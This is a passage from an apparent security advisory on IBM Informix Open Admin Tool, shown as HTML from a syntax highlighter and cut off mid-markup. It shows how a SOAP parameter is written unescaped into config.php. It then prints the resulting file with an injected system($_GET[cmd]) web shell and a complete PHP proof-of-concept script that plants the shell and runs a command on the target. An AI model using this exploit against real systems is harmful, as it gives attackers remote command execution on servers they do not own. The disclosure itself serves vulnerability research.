\/vobs\/idsadmin\/idsadmin\/install\/index.php:saveDefaultConfig() writes the above line<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-36\"><span class=\"crayon-s\">\t\t\t\t * based on $conndbdir = addslashes(substr(@$_SERVER[&#8216;<\/span><span class=\"crayon-i\">argv<\/span><span class=\"crayon-s\">&#8216;][3],11)); TODO: fix the initial writing into config.php (Windows only issue)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-37\"><span class=\"crayon-s\">\t\t\t\t *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-38\"><span class=\"crayon-s\">\t\t\t\tif ($v[strlen($v)-1] == &#8216;<\/span><span class=\"crayon-s\">&#8220;&#8216;) {<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-39\"><span class=\"crayon-s\">\t\t\t\t\t$v = substr($v, 0, -1);<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-40\"><span class=\"crayon-s\">\t\t\t\t}\t\t\t\t<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-41\"><span class=\"crayon-s\">\t\t\t}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-42\"><span class=\"crayon-s\">\t\t\t$out = &#8220;<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;{$k}&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\"><\/span>&#8220;<span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">$v<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\"><\/span>&#8220;<span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#{$this-&gt;idsadmin-&gt;lang($k)}n&#8221;; &lt;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212; [***]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-43\"><span class=\"crayon-h\">\t\t\t<\/span><span class=\"crayon-e\">fputs<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$out<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-44\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-45\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-i\">fputs<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fd<\/span><span class=\"crayon-sy\">,<\/span>&#8220;<span class=\"crayon-ta\">?&gt;<\/span>n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-46\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-e\">fclose<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-47\"><span class=\"crayon-h\">\t\t<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-48\"><span class=\"crayon-h\">\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">new_home_page<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979851b023268894-49\"><span class=\"crayon-h\">\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979851b023268894-50\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0051 seconds] -->  <\/p>\n<p>Note that <em>$new_home_page<\/em> is the unique parameter of a SOAP request and it is controlled;<\/p>\n<p>The resulting file could look like this:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798520591379547\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8230;     &lt;?php   $CONF[&#8216;LANG&#8217;]=&#8221;en_US&#8221;;#The default language for the OAT pages.  $CONF[&#8216;BASEURL&#8217;]=&#8221;http:\/\/WIN-PF2VMDT4MVO:8080\/openadmin&#8221;;#The URL where OAT is installed in this format: http:\/\/servername:port\/location.  $CONF[&#8216;HOMEDIR&#8217;]=&#8221;C:\/Program Files (x86)\/IBM Informix Software Bundle\/OAT\/Apache_2.2.22\/htdocs\/openadmin\/&#8221;;#The directory for the OAT installation.  $CONF[&#8216;CONNDBDIR&#8217;]=&#8221;C:Program Files (x86)IBM Informix Software BundleOATOAT_conf&#8221;;#The directory for the OAT connections database. Specify a secure directory that is not under the document directory for the web server.  $CONF[&#8216;HOMEPAGE&#8217;]=&#8221;&#8221;;system($_GET[cmd]);\/\/&#8221;;#The page to use as the OAT home page.  $CONF[&#8216;PINGINTERVAL&#8217;]=&#8221;300&#8243;;#The length of time (in seconds) between updates of the server status. The server status is shown on the Health Center &gt; Dashboard &gt; Group Summary page.  $CONF[&#8216;ROWSPERPAGE&#8217;]=&#8221;25&#8243;;#The default number of rows per page to display when data is shown in a table format.  $CONF[&#8216;SECURESQL&#8217;]=&#8221;on&#8221;;#Require login credentials for the SQL ToolBox.  $CONF[&#8216;INFORMIXCONTIME&#8217;]=&#8221;20&#8243;;#The length of time (in seconds) that OAT attempts to connect to the database server before returning an error (INFORMIXCONTIME).  $CONF[&#8216;INFORMIXCONRETRY&#8217;]=&#8221;3&#8243;;#The number of times that OAT attempts to connect to the database server during the Informix connect time (INFORMIXCONRETRY).  $CONF[&#8216;INFORMIXDIR&#8217;]=&#8221;C:Program Files (x86)IBM Informix Software Bundle&#8221;;#MISSING LANG FILE ITEM INFORMIXDIR  ?&gt;  &#8230;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798520591379547-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798520591379547-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798520591379547-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798520591379547-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798520591379547-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798520591379547-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798520591379547-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798520591379547-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798520591379547-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798520591379547-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798520591379547-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798520591379547-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798520591379547-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798520591379547-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798520591379547-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798520591379547-16\">16<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798520591379547-1\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798520591379547-2\"><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798520591379547-3\"><span class=\"crayon-ta\">&lt;?php<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798520591379547-4\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;LANG&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;en_US&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#The default language for the OAT pages.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798520591379547-5\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;BASEURL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;http:\/\/WIN-PF2VMDT4MVO:8080\/openadmin&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#The URL where OAT is installed in this format: http:\/\/servername:port\/location.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798520591379547-6\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;HOMEDIR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;C:\/Program Files (x86)\/IBM Informix Software Bundle\/OAT\/Apache_2.2.22\/htdocs\/openadmin\/&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#The directory for the OAT installation.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798520591379547-7\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;CONNDBDIR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;C:Program Files (x86)IBM Informix Software BundleOATOAT_conf&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#The directory for the OAT connections database. Specify a secure directory that is not under the document directory for the web server.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798520591379547-8\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;HOMEPAGE&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-e\">system<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$_GET<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-i\">cmd<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">\/\/&#8221;;#The page to use as the OAT home page.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798520591379547-9\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;PINGINTERVAL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;300&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#The length of time (in seconds) between updates of the server status. The server status is shown on the Health Center &gt; Dashboard &gt; Group Summary page.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798520591379547-10\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;ROWSPERPAGE&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;25&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#The default number of rows per page to display when data is shown in a table format.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798520591379547-11\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SECURESQL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;on&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#Require login credentials for the SQL ToolBox.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798520591379547-12\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;INFORMIXCONTIME&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;20&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#The length of time (in seconds) that OAT attempts to connect to the database server before returning an error (INFORMIXCONTIME).<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798520591379547-13\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;INFORMIXCONRETRY&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;3&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#The number of times that OAT attempts to connect to the database server during the Informix connect time (INFORMIXCONRETRY).<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798520591379547-14\"><span class=\"crayon-v\">$CONF<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;INFORMIXDIR&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;C:Program Files (x86)IBM Informix Software Bundle&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-c\">#MISSING LANG FILE ITEM INFORMIXDIR<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798520591379547-15\"><span class=\"crayon-ta\">?&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798520591379547-16\"><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0027 seconds] -->  <\/p>\n<p>config.php is not protected so we can execute <em>system()<\/em> through a GET request.<\/p>\n<p><strong>Proof of Concept<\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798525696122329\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;?php    error_reporting(0);  $host = $argv[1];  $port = 8080;    $shell = htmlentities(&#8220;&#8221;;system($_GET[cmd]);\/\/&#8221;);    $data=&#8217;  &lt;soapenv:Envelope xmlns:xsi=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema-instance&#8221; xmlns:xsd=&#8221;http:\/\/www.w3.org\/2001\/XMLSchema&#8221; xmlns:soapenv=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&#8221; xmlns:urn=&#8221;urn:Welcome&#8221;&gt;     &lt;soapenv:Header\/&gt;     &lt;soapenv:Body&gt;        &lt;urn:saveHomePage soapenv:encodingStyle=&#8221;http:\/\/schemas.xmlsoap.org\/soap\/encoding\/&#8221;&gt;           &lt;new_home_page xsi:type=&#8221;xsd:string&#8221;&gt;&#8217;.$shell.'&lt;\/new_home_page&gt;        &lt;\/urn:saveHomePage&gt;     &lt;\/soapenv:Body&gt;  &lt;\/soapenv:Envelope&gt;  &#8216;;  $pk=&#8221;POST \/openadmin\/services\/welcome\/welcomeService.php HTTP\/1.1rn&#8221;.      &#8220;Host: &#8220;.$host.&#8221;rn&#8221;.      &#8220;Content-Type: text\/xml;charset=UTF-8  rn&#8221;.      &#8220;Content-Length: &#8220;.strlen($data).&#8221;rn&#8221;.      &#8220;SOAPAction: &#8220;urn:QBEAction&#8221;rn&#8221;.      &#8220;Connection: Closernrn&#8221;.      $data;       $fp = fsockopen($host,$port,$e,$err,5);    fputs($fp,$pk);  $out=&#8221;&#8221;;  while (!feof($fp)){    $out.=fread($fp,1);  }  fclose($fp);  \/\/echo $out.&#8221;n&#8221;;    $pk=&#8221;GET \/openadmin\/conf\/config.php?cmd=whoami HTTP\/1.0rn&#8221;.      &#8220;Host: &#8220;.$host.&#8221;rn&#8221;.      &#8220;Connection: Closernrn&#8221;;       $fp = fsockopen($host,$port,$e,$err,5);    fputs($fp,$pk);  $out=&#8221;&#8221;;  while (!feof($fp)){    $out.=fread($fp,1);  }  fclose($fp);  echo $out.&#8221;n&#8221;;  ?&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798525696122329-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798525696122329-51\">51<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-1\"><span class=\"crayon-ta\">&lt;?php<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-3\"><span class=\"crayon-e\">error_reporting<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-4\"><span class=\"crayon-v\">$host<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$argv<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-5\"><span class=\"crayon-v\">$port<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8080<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798525696122329-6\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798525696122329-7\"><span class=\"crayon-v\">$shell<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">htmlentities<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&#8221;;system($_GET[cmd]);\/\/&#8221;<\/span><span 